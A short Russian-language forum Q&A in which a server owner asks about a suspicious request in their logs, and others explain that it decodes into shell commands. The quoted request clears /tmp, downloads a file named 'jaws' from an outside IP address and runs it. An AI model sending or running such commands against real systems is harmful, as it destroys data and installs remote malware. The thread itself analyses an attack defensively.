Что делает этот запрос?

Question

[laesia]

В логах своего сервера заметил такой запрос.

/shell?cd+/tmp;rm+-rf+*;wget+111.111.11.111/jaws;sh+/tmp/jaws

Я правильно понимаю, что он должен был почистить /tmp и что-то украсть, но что? Не очень разбираюсь в UNIX.

Comments

[Алан Гибизов]

Я тоже не гуру, но по первому ощущению это скорее попытка втянуть какой-то код и запустить его (может, майнер)

Answer 1

[Алексей Ярков]

Всё что после символа "?" разбейте по ";" и замените "+" на пробел. Получите список команд.
А "/shell" - путь к обработчику команды. Видимо прощупывали есть ли дыра.